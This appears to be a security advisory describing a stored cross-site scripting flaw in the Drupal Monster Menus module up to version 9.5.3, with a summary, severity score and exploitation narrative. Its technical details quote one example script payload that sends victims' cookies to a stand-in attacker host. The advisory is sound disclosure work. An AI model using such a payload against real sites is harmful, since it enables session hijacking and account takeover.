Description

Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") vulnerability in Drupal Monster Menus allows Stored XSS. This issue affects Monster Menus versions: from 0.0.0 to 9.5.3.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.1",
  "pubDate": "2026-09-02T13:18:12.700Z",
  "pubdate": "2026-09-02T13:18:12.700Z",
  "executiveSummary": "The Monster Menus module for Drupal is susceptible to a Stored Cross-Site Scripting (XSS) vulnerability, classified under CWE-79: Improper Neutralization of Input During Web Page Generation.\nThis security flaw arises from the application's failure to adequately sanitize user-supplied data before rendering it within the web interface.\nAffected versions include all releases from 0.0.0 through 9.5.3.\nThe vulnerability allows an authenticated attacker to inject and persist malicious client-side scripts—typically JavaScript—into the application's database.\nWhen other users, including those with higher administrative privileges, view the compromised page, the malicious script executes within the context of their session.\nThe impact includes potential session hijacking, unauthorized actions performed on behalf of the victim, sensitive data exfiltration, and unauthorized content modification.\nAs this is a stored vulnerability, the payload does not require active victim interaction beyond accessing the affected page, significantly increasing the risk profile for Drupal installations utilizing this module.",
  "technicalDetails": "The vulnerability originates from the improper handling of user-controlled input within the Monster Menus module, which lacks robust output encoding or server-side input validation mechanisms. By failing to neutralize special characters such as '<', '>', '\"', and \"'\", the module allows arbitrary HTML and JavaScript tags to be stored directly in the database.\nThe exploitation flow begins with an attacker identifying an input field managed by the Monster Menus module that persists data. The attacker submits a crafted payload containing malicious JavaScript—such as <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>—into the input field. Because the module does not enforce strict input filtering, the backend processes and commits the malicious string to the Drupal database.\nThe stored payload becomes a permanent fixture of the application's rendering engine. When a victim or administrator navigates to the specific component where the input is displayed, the server fetches the malicious string from the database and embeds it directly into the HTML source code of the response without appropriate character escaping or context-aware encoding.\nUpon receipt of the HTTP response, the victim's web browser interprets the injected tags as legitimate executable code rather than plain text. Consequently, the script executes within the security context of the victim's session. Since the script runs in the browser, it can bypass traditional server-side security boundaries, gaining access to the DOM, local storage, and session cookies.\nPost-exploitation activities are diverse; an attacker may attempt to intercept session identifiers to perform account takeover, redirect users to malicious landing pages, or leverage the victim's authenticated state to modify administrative settings or install unauthorized modules within the Drupal environment. Because the script is stored on the server, the attack is persistent and will continue to execute for every user who accesses the compromised interface, posing a severe risk to organizational security integrity.\nThe vulnerability affects all versions of Monster Menus from 0.0.0 to 9.5.3, and exploitation is generally contingent upon the attacker having sufficient permissions to modify the fields managed by the module, though the exact privilege requirements depend on the specific field configuration and Drupal role permissions."
}